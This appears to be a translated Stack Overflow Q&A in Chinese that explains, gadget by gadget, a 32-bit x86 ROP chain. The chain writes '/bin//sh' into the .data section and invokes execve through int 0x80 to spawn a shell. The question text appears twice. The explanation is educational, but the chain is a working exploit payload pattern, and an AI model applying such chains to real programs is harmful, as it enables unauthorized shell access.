【发布时间】:2016-09-28 16:27:05
【问题描述】:
我需要帮助来理解这张图片中发生的事情:。
我没有看到 @ .data 指令与 mov dword ptr [edx], eax 结合完成的工作,特别是考虑到 edx 紧随其后。
【问题讨论】:
我需要帮助来理解这张图片中发生的事情:。
我没有看到 @ .data 指令与 mov dword ptr [edx], eax 结合完成的工作,特别是考虑到 edx 紧随其后。
【问题讨论】:
简而言之,@ .data 行是指用于写入"/bin//sh" 字符串的可写内存,该字符串稍后会被执行。 .data 部分只是加载到内存中的可执行文件的可读/可写部分,通常用于存储全局变量。
以下是 ROP 链工作原理的细分:
pop edx ; ret
@ .data
这两个小工具将.data部分的地址弹出到edx中。
pop eax ; ret
'/bin'
这些小工具弹出0x6e69622f,或/bin//sh 字符串的前四个字符到eax
mov dword ptr [edx], eax ; ret
那么这会将eax的内容写入地址edx;此时字符串的前四个字符已经写在.data部分的开头
pop edx ; ret
@ .data + 4
pop eax ; ret
'//sh'
mov dword ptr [edx], eax ; ret
这部分做完全相同的事情来写入字符串的接下来的四个字节
pop edx ; ret
@ .data + 8
xor eax, eax ; ret
mov dword ptr [edx], eax ; ret
然后在字符串后面写入四个空字节以空终止它
pop ebx ; ret
@ .data
这会得到ebx中字符串的地址
pop ecx ; pop ebx ; ret
@ .data + 8
padding without overwrite ebx
这会将.data+8 写入ecx 并将.data 写入ebx。 (注意这里的第三行是0x080f4060,我们可以看到和上面三行.data是同一个地址)
pop edx ; ret
@ .data + 8
这会将.data+8 写入edx
xor eax, eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
这会将11 写入eax
int 0x80
这会在 Linux 上执行系统调用。 Here 是了解系统调用的绝佳资源。我们看到eax为11(0xb)时,是对execve的调用,定义如下:
int execve(const char *filename, char *const argv[], char *const envp[]);
那么ebx 是filename,ecx 是argv,edx 是envp。此时ebx指向字符串/bin//sh,ecx和edx都是.data+8。它们都被视为字符串,但由于.data+8 包含空字节,ecx 和edx 是空字符串。所以调用本质上是execve("/bin//sh", "", "");
【讨论】: